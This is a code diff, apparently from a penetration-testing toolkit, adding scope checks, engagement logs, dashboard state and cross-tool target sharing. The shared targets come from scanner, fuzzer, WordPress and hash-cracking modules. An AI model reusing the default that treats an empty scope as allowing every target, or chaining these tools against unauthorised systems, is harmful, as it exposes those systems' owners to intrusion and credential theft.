re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str) + if not m: + return False + prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3)) + try: + last_octet = int(target_ip.split(".")[-1]) + ip_prefix = ".".join(target_ip.split(".")[:-1]) + "." + return ip_prefix == prefix and start <= last_octet <= end + except (ValueError, IndexError): + return False + + +def check_scope(target, scope): + """Check if a target is within scope. + + Returns True if allowed (in scope or scope is empty). + Returns False if blocked (out of scope). + """ + if not scope: + return True # Empty scope = allow all + + # Normalize target + target = target.strip().lower() + # Strip protocol/path if URL + if "://" in target: + from urllib.parse import urlparse + parsed = urlparse(target) + target = parsed.hostname or target + + target_is_ip = _is_ip(target) + + for entry in scope: + entry_lower = entry.lower().strip() + + # CIDR match + if "/" in entry and target_is_ip: + if _match_cidr(target, entry): + return True + continue + + # IP range match + if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry): + if target_is_ip and _match_ip_range(target, entry): + return True + continue + + # Exact IP match + if _is_ip(entry) and target_is_ip: + if target == entry: + return True + continue + + # Wildcard FQDN match + if entry_lower.startswith("*."): + # *.example.com matches foo.example.com and example.com + domain_part = entry_lower[2:] + if target == domain_part or target.endswith("." + domain_part): + return True + continue + + # Exact FQDN match + if target == entry_lower: + return True + + return False + + +def get_scope_for_engagement(name): + """Load scope from an engagement's scope.txt file.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_")) + scope_file = os.path.join(eng_dir, "scope.txt") + return load_scope(scope_file) + + +# ─── Operational Logging ──────────────────────────────────────────────────── + +def op_log(engagement, message, level="info"): + """Append a timestamped log entry to the engagement's umbra.log. + + Levels: info=[*], success=[+], warning=[!], error=[-] + """ + prefixes = { + "info": "[*]", + "success": "[+]", + "warning": "[!]", + "error": "[-]", + } + prefix = prefixes.get(level, "[*]") + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + log_path = os.path.join(eng_dir, "umbra.log") + try: + os.makedirs(eng_dir, exist_ok=True) + with open(log_path, "a") as f: + f.write(f"{ts} {prefix} {message}\n") + except OSError: + pass + + +def op_log_csv(engagement, tool, action, target, result): + """Append a structured CSV audit row to command_log.csv.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + csv_path = os.path.join(eng_dir, "command_log.csv") + ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + try: + os.makedirs(eng_dir, exist_ok=True) + with open(csv_path, "a", newline="") as f: + writer = csv.writer(f) + writer.writerow([ts, tool, action, target, result]) + except OSError: + pass + + +def generate_engagement_summary(name): + """Generate a text summary of all tool activity within an engagement.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_")) + if not os.path.isdir(eng_dir): + return f"Engagement '{name}' not found." + + lines = [ + f"Engagement Summary: {name}", + f"{'=' * 50}", + f"Path: {eng_dir}", + f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", + "", + ] + + # Check each tool subdirectory for .db files + for tool_name, subdir in TOOL_DIR_MAP.items(): + tool_dir = os.path.join(eng_dir, subdir) + db_path = os.path.join(tool_dir, f"{tool_name}.db") + if os.path.exists(db_path): + try: + conn = sqlite3.connect(db_path) + tables = [r[0] for r in conn.execute( + "SELECT name FROM sqlite_master WHERE type='table'" + ).fetchall()] + counts = {} + for tbl in tables: + try: + c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0] + if c > 0: + counts[tbl] = c + except Exception: + pass + conn.close() + if counts: + lines.append(f" {tool_name}:") + for tbl, cnt in counts.items(): + lines.append(f" {tbl}: {cnt:,} records") + except Exception: + lines.append(f" {tool_name}: DB error") + else: + # Check if directory has any files at all + if os.path.isdir(tool_dir) and os.listdir(tool_dir): + lines.append(f" {tool_name}: files present (no DB)") + + # Scope info + scope = get_scope_for_engagement(name) + if scope: + lines.append(f"\nScope: {len(scope)} entries") + for entry in scope[:10]: + lines.append(f" {entry}") + if len(scope) > 10: + lines.append(f" ... and {len(scope) - 10} more") + + # Log stats + log_path = os.path.join(eng_dir, "umbra.log") + if os.path.exists(log_path): + with open(log_path) as f: + log_lines = f.readlines() + # Count non-comment, non-empty lines + entries = [l for l in log_lines if l.strip() and not l.startswith("#")] + lines.append(f"\nLog entries: {len(entries)}") + + # CSV command log + csv_path = os.path.join(eng_dir, "command_log.csv") + if os.path.exists(csv_path): + with open(csv_path) as f: + reader = csv.reader(f) + next(reader, None) # Skip header + commands = list(reader) + lines.append(f"Commands logged: {len(commands)}") + + return "\n".join(lines) + + +# ─── State & Event Stream (for ops dashboard) ────────────────────────────── + +def write_tool_state(engagement, tool_name, status, **extra): + """Write tool status to state.json for dashboard consumption. + + Called automatically by op_log when level is 'success' (tool start/finish). + Can also be called directly for fine-grained control. + """ + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + state_path = os.path.join(eng_dir, "state.json") + try: + os.makedirs(eng_dir, exist_ok=True) + fd = os.open(state_path, os.O_RDWR | os.O_CREAT) + try: + fcntl.flock(fd, fcntl.LOCK_EX) + raw = b"" + while True: + chunk = os.read(fd, 8192) + if not chunk: + break + raw += chunk + state = json.loads(raw) if raw.strip() else {"tools": {}} + state.setdefault("tools", {}) + tool_entry = state["tools"].get(tool_name, {}) + tool_entry["status"] = status + tool_entry.update(extra) + state["tools"][tool_name] = tool_entry + state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S") + out = json.dumps(state, indent=2).encode() + os.lseek(fd, 0, os.SEEK_SET) + os.ftruncate(fd, 0) + os.write(fd, out) + finally: + fcntl.flock(fd, fcntl.LOCK_UN) + os.close(fd) + except OSError: + pass + + +def emit_event(engagement, tool_name, event_type, message): + """Append event to events.jsonl for dashboard live feed.""" + eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_")) + events_path = os.path.join(eng_dir, "events.jsonl") + try: + os.makedirs(eng_dir, exist_ok=True) + entry = json.dumps({ + "ts": time.strftime("%Y-%m-%dT%H:%M:%S"), + "tool": tool_name, + "type": event_type, + "msg": message, + }) + with open(events_path, "a") as f: + fcntl.flock(f, fcntl.LOCK_EX) + f.write(entry + "\n") + fcntl.flock(f, fcntl.LOCK_UN) + except OSError: + pass + + +# ─── Cross-Tool Imports ───────────────────────────────────────────────────── + +# Maps tool name to (table_name, target_column) for extracting targets +TOOL_TARGET_QUERIES = { + "um-scan": ("SELECT DISTINCT host FROM hosts", "host"), + "um-api": ("SELECT DISTINCT target FROM targets", "target"), + "um-intel": ("SELECT DISTINCT target FROM targets", "target"), + "um-enum": ("SELECT DISTINCT domain FROM targets", "domain"), + "um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"), + "um-hash": ("SELECT DISTINCT domain FROM sites", "domain"), + "um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"), + "um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"), + "um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"), +} + + +def get_targets_from_tool_db(db_path, tool_name): + """Query another tool's database to extract target list. + + Returns a list of target strings. + """ + if not os.path.exists(db_path): + return [] + + query_info = TOOL_TARGET_QUERIES.get(tool_name) + if not query_info: + return [] + + query = query_info[0] + try: + conn = sqlite3.connect(db_path) + rows = conn.execute(query).fetchall() + conn.close() + return [str(r[0]) for r in rows if r[0]] + except Exception: + return [] + + +def find_tool_db(tool_name, engagement=None): + """Locate a tool's database file. + + Search order: + 1. Engagement directory (if provided) + 2. Current working directory + """ + # Check engagement directory first + if engagement: + db_path = get_engagement_db_path(engagement, tool_name) + if os.path.exists(db_path): + return db_path + + # Fall back to current working directory + cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db") + if os.path.exists(cwd_path): + return cwd_path + + return None diff --git a/utils/cleanup_engine.py b/utils/cleanup_engine.py index fd07fe1..0b63ec3 100644 --- a/utils/cleanup_engine.py +++ b/utils/cleanup_engine.py @@ -170,9 +170,7 @@ def set_provider_environment_for_teardown(config): # Load token from provider vars file try: from utils.common import load_vars_file, PROVIDER_DIRS - provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize()) - vars_file = f"providers/{provider_dir}/vars.yaml" - vars_data = load_vars_file(vars_file) + vars_data = load_vars_file(provider) if vars_data and vars_data.get('linode_token'): os.environ['LINODE_TOKEN'] = vars_data['linode_token'] config['linode_token'] = vars_data['linode_token'] # Add to config for later use